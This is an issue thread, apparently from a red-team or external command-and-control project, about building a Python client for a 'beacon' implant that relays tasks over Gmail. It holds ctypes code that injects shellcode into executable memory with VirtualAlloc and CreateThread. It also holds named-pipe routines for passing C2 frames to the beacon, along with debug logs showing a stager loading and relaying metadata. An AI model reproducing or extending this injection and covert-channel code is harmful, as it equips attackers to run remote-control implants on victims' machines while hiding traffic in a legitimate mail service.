Closed Und3rf10w closed 6 years ago
Here's some untested possible code to use:
import ctypes
MAXLEN = 1024*1024
# Open file handle to the beacon
def open_handle():
handle_beacon = ctypes.windll.kernel32.CreateFileA("\\\\.\\pipe\\foobar", GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, None)
return handle_beacon
# Inject the shellcode
def injectBeacon(payload):
# lib.start_beacon(payload,len(payload))
payloadPtr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(payload)),
ctypes.c_int(0x1000), # MEM_COMMIT
ctypes.c_int(0x40)) # PAGE_EXECUTE_READWRITE
ctypes.memmove(ctypes.addressof(payloadPtr), payload, ctypes.c_int(len(payload)))
ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_int(payloadPtr), None, 0, None)
# Read the frame
def ReadFrame(handle_beacon):
mem = ctypes.create_string_buffer(MAXLEN)
# lib.read_frame(hPipe,mem,MAXLEN)
temp = 0
total = 0
# DWORD size = 0, temp = 0, total = 0;
size = ctypes.windll.kernel32.ReadFile(handle_beacon, mem, 4, ctypes.byref(temp), None)
while (total < size):
# sleep(3)
ctypes.windll.kernel32.ReadFile(handle_beacon, mem + total, size - total, ctypes.byref(temp), None)
total += temp
return size
# Write the frame
def WriteFrame(handle_beacon, chunk):
# ret = lib.write_frame(hPipe, c_char_pipe(chunk), c_int(len(chunk)))
wrote = 0
# Write the size of the frame
ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_int(len(chunk)), 4, ctypes.byref(wrote), None)
# Return the written data
return ctypes.windll.kernel32.WriteFile(handle_beacon, ctypes.c_char_pipe(chunk), ctypes.c_int(len(chunk)), ctypes.byref(wrote), None)
Need to test and debug.
Getting very close with the changes introduced in eb9a919. I'm having an issue where the beacon process keeps dying before I'm able to read a second frame. I can successfully get metadata, but once I write an empty task to the beacon, it seems to die before I can read the next frame.
Here's the client side output for more info:
Waiting for stager...
['502']
Got a stager! loading...
Loaded, and got handle to beacon. Getting METADATA.
Received 132 bytes from pipe
relaying chunk to server
Checking for new tasks from transport
['504']
Got new task:
Writing 1 bytes to pipe
Writing to pipe:
Traceback (most recent call last):
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 224, in <module>
interact(handle_beacon)
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 194, in interact
chunk = ReadPipe(handle_beacon)
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 157, in ReadPipe
return read_frame(handle)
File "C:\Users\xxxxxxxx\Downloads\gmail_client.py", line 151, in read_frame
result, size = win32file.ReadFile(handle, 4, None)
error: (233, 'ReadFile', 'No process is on the other end of the pipe.')
Obviously, I know that the read_frame()
function works because it's reading and relaying the metadata properly... No clue why I'm getting 'No process is on the other end of the pipe.'
Got a python client to work with commit 0c08281! I tested it with the transport_gmail
module, and it works fine.
Currently, the client relies on a dll to be distributed with it that it calls with
ctypes
to write and read from the beacon pipe, and inject the process.This could all probably be done entirely with the
ctypes
library in python.For example, the stager injection process currently looks like this:
Something similar could be entirely in python as so:
Ideally, the
read_frame
,write_frame
, and creation of the beacon named pipe would be reimplemented in this manner as well.